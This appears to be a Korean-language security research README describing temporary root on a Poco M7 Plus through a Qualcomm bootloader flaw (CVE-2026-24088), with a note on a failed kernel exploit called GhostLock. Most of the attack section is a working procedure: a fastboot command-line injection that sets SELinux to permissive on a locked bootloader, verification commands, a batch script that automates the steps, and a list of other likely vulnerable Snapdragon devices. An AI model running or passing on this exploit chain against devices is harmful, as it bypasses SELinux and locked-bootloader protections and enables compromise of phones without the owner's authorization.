Poco M7 Plus(SM6375)에서 Qualcomm GBL 익스플로잇(CVE-2026-24088)을 통한 임시 루트 연구 + GhostLock 커널 분석(CVE-2026-43499)
면책 조항: 이 문서는 순전히 교육 및 보안 연구 목적으로 작성되었습니다. 모든 테스트는 제 소유 기기에서 수행되었습니다. 벽돌이 된 기기, 데이터 손실, 또는 이 정보의 오용에 대해 저는 책임지지 않습니다. 여기서 논의되는 취약점들은 이미 공개적으로 공개되었고 패치되었습니다. 소유하지 않은 기기에서 이 작업을 시도하지 마십시오.
| 파일 | 설명 |
|---|---|
| GBL-AutoRoot.bat | 원클릭 익스플로잇 자동화 도구 (Windows) |
사용 방법:
GBL-AutoRoot.bat을 다운로드합니다CVE-2026-24088의 영향을 받는 모든 Qualcomm ABL 기기와 호환됩니다. 기기가
OKAY를 반환하면 루트 접근 권한이 자동으로 부여됩니다.
이 도구는 Qualcomm ABL 취약점(CVE-2026-24088)을 대상으로 합니다. 기기에 취약한 SoC가 있고 아직 패치된 펌웨어를 받지 않았다면 이 도구가 작동합니다.
| 상태 | 기기 / SoC 제품군 | 예시 기기 |
|---|---|---|
| 🟢 확인됨 | Snapdragon 695 (SM6375) | POCO M7 Plus 5G, Redmi 15 5G |
| 🟡 가능성 있음 | Snapdragon 8 Gen 3 (SM8650) | Xiaomi 14 / Pro / Ultra, Redmi K70 Pro |
| 🟡 가능성 있음 | Snapdragon 8 Gen 2 (SM8550) | Xiaomi 13 / Pro, POCO F5 Pro, Redmi K60 Pro |
| 🟡 가능성 있음 | Snapdragon 8+ Gen 1 (SM8475) | Xiaomi 12T Pro, POCO F5 |
| 🟡 가능성 있음 | Snapdragon 888 (SM8350) | Mi 11, Mi 11X Pro, POCO F3 |
| 🟡 가능성 있음 | Snapdragon 7+ Gen 3 (SM7675) | POCO F6 |
| 🟡 가능성 있음 | Snapdragon 7 Gen 3 (SM7550) | Xiaomi Civi 4 |
| 🟡 가능성 있음 | Snapdragon 695 5G (SM6375) | POCO X4 Pro 5G, Redmi Note 11 Pro 5G |
| 🟡 가능성 있음 | Snapdragon 680 (SM6225) | Redmi Note 11, Redmi 10C |
| 🟡 가능성 있음 | Snapdragon 662 (SM6115) | POCO M3, Redmi 9T |
| 🔴 지원 안 됨 | MediaTek (MTK) | POCO X6 Neo, Redmi Note 13 Pro+ |
| 🔴 지원 안 됨 | 패치된 펌웨어 | HyperOS 3.0.304.0+ (보안 패치 적용됨) |
📝 커뮤니티 테스트 필요: 저는 이 모든 기기를 테스트할 수 없습니다. "가능성 있음" 기기 중 하나를 가지고 계시다면 도구를 테스트하고 결과를 알려주세요. 그러면 기기를 "확인된 작동" 목록에 공식적으로 추가하는 데 도움이 됩니다!
| 항목 | 값 |
|---|---|
| 기기 | Poco M7 Plus 5G (코드명: spring) |
| 칩셋 | Qualcomm SM6375 (Snapdragon 6s Gen 3) |
| 아키텍처 | AArch64, KASLR 활성화됨 |
| SELinux | Enforcing (익스플로잇 이전) |
| 부트로더 | LOCKED |
| 테스트 플랫폼 | Windows 11, ADB Platform Tools |
| HyperOS 버전 | 커널 버전 | GhostLock 결과 | GBL 익스플로잇 결과 |
|---|---|---|---|
| 2.0.202.0 | 6.1.118-android14-11-ga3b9c44908dd-ab13320413 | ❌ 커널 패닉 | ✅ 작동 |
| 2.0.208.0 | 6.1.138-android14-11-g51f8c580613d-ab13911623 | ❌ 커널 패닉 | ✅ 작동 |
리서치 노트: 처음에는 GhostLock이 커널 패닉을 일으킨 HyperOS 2.0.202.0에서 테스트했습니다. 그런 다음 더 새로운 커널 빌드(6.1.118 -> 6.1.138)가 GhostLock 불안정성을 해결하는지 확인하기 위해 2.0.208.0으로 업데이트했습니다. 패닉은 지속되었습니다 - 두 빌드 모두 GhostLock이 처리할 수 없는 동일한 6.1
pselect/fd_set내부 레이아웃을 공유합니다. GBL 익스플로잇은 두 버전 모두에서 작동했습니다.
이 리서치 동안 저는 부트로더를 잠금 해제하지 않고 이 기기에서 임시 루트를 얻기 위한 두 가지 독립적인 익스플로잇 경로를 테스트했습니다:
| 접근법 A: GBL 익스플로잇 | 접근법 B: GhostLock | |
|---|---|---|
| 계층 | 부트로더 (ABL/fastboot) | 커널 (Linux 6.1) |
| CVE | CVE-2026-24088 | CVE-2026-43499 |
| 이 기기에서의 결과 | ✅ 작동 | ❌ 커널 패닉 |
| 루트 유형 | 임시 (테더링) | 임시 (테더링) |
| ADB 필요? | 예 (fastboot 모드) | 예 (셸 접근) |
| 커널 버전 민감? | 아니오 | 예 - 6.6-6.12에서만 안정적 |
GBL 익스플로잇은 작동했습니다. GhostLock은 커널 버전 불일치로 인해 커널 패닉과 함께 실패했습니다. 두 발견 모두 아래에 자세히 문서화되어 있습니다.
CVE-2026-24088은 여러 기기에서 Qualcomm의 Android Boot Loader (ABL)에 영향을 미칩니다.``` Jan 2026 -> Vulnerability discovered during ABL unpacking & analysis Feb 2026 -> Qualcomm patches: QcomModulePkg: Fix propagation of untrusted input into kernel cmdline Mar 2026 -> Public PoC released; Xiaomi begins rolling out HyperOS 3.0.304.0 (patched) Jun 2026 -> CVE-2026-24088 officially assigned in Qualcomm Security Bulletin
### 익스플로잇 체인 설명
이 익스플로잇은 부트로더 수준에서 **3단계 체인**으로 동작합니다:
#### 1단계 - 서명되지 않은 GBL 실행
Android 16에서 Qualcomm의 ABL은 `efisp` 파티션에서 Generic Bootloader(GBL)를 로드합니다. 핵심 결함은: **ABL은 바이너리가 유효한 UEFI 애플리케이션인지만 확인하고, 암호화 서명은 검증하지 않습니다.** 이는 사용자 정의된 서명되지 않은 UEFI 애플리케이션이 `efisp`에 배치될 수 있으며, 부트로더 단계에서 전체 권한으로 실행된다는 것을 의미합니다.
#### 2단계 - 커널 명령줄 주입
`fastboot oem set-gpu-preemption` 명령은 **입력 정제가 부족합니다**. ABL은 제공된 인수를 필터링 없이 커널 명령줄에 직접 연결합니다.
`androidboot.selinux=permissive`를 추가 인수로 전달함으로써:```
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
...부트로더가 커널 cmdline에 androidboot.selinux=permissive를 기록하고, Android의 init 프로세스가 부팅 시 이를 읽어 SELinux 강제 적용을 사실상 비활성화합니다.
efisp에 배치된 사용자 정의 UEFI 애플리케이션이 is_unlocked 및 is_unlocked_critical 플래그를 설정하여 부트로더를 영구적으로 언락할 수 있습니다. (이 단계는 테스트되지 않았습니다 - 하드 브릭 위험이 있습니다.)
⚠️ 진행하기 전에 중단하세요: 먼저 섹션 7의 패치 확인을 실행하십시오. 기기가 패치된 경우 이 방법은 전혀 작동하지 않습니다.
사전 요구 사항:
개발자 옵션에서 OEM 잠금 해제를 활성화해야 합니까? 아니요 - 그리고 이것이 이 익스플로잇의 가장 중요한 측면 중 하나입니다.
fastboot oem set-gpu-preemption명령은 ABL 수준에서 작동합니다 - OS가 OEM 잠금 해제 상태를 확인하기 전에 처리됩니다. CVE-2026-24088은 ABL 자체의 입력 정제 누락 결함으로, OEM 잠금 해제 게이트를 완전히 우회합니다. 부트로더는 전체 과정 동안 잠금 상태로 유지됩니다. "먼저 OEM 잠금 해제를 활성화하세요"라고 나온 가이드를 보셨다면 - 그것은 이 익스플로잇이 아닌 다른 (표준) 잠금 해제 방법에 적용됩니다.
Step 1: Fastboot 모드 진입```bash adb reboot bootloader
**2단계: 취약점 테스트**```bash
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
OKAY -> 기기가 취약함 ✅ 계속FAILED (remote: 'Set GPU HW Preemption: Invalid Argument') -> 기기가 패치됨 ❌ 여기서 중지3단계: 주입된 Cmdline으로 부팅```bash fastboot continue
**4단계: SELinux 상태 확인**```bash
adb shell getenforce
# Expected: Permissive
5단계: Root Manager를 통한 루트 권한 획득
옵션 A - KernelSU Manager:```bash
adb shell su -c id
**옵션 B - Resuski Manager:**```bash
# Open Resuski Manager on device
# Enable "Jailbreak Mode" from the main screen
# Root and modules appear as active and working
adb shell su -c id
중요: jailbreak 모드를 활성화한 후, 휴대폰을 껐다가 다시 켜면 먼저 fastboot 주입을 다시 실행해야 합니다 (1-3단계). 그런 다음 root manager 앱을 다시 여십시오. Root는 테더링 방식입니다 - SELinux permissive 상태가 다시 설정되면 manager가 root와 모듈이 작동 중임을 올바르게 표시합니다.
6단계: 전체 Root 상태 확인```bash adb shell getenforce # Permissive adb shell su -c id # uid=0(root) adb shell su -c "cat /data/adb/ksu/version" # KSU version adb shell su -c "cat /sys/fs/selinux/enforce" # 0
**7단계: 자동화 스크립트 (선택 사항)**```batch
@echo off
echo Rebooting to fastboot...
adb reboot bootloader
timeout /t 10
echo Injecting SELinux permissive...
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
timeout /t 2
fastboot continue
echo Done. Open KernelSU or Resuski Manager on device.
| 확인 | 명령 | 예상 출력 |
|---|---|---|
| SELinux 모드 | adb shell getenforce | Permissive |
| 루트 신원 | adb shell su -c id | uid=0(root) |
| KSU 버전 | adb shell su -c "cat /data/adb/ksu/version" | 버전 문자열 |
| 커널 강제 플래그 | adb shell su -c "cat /sys/fs/selinux/enforce" | 0 |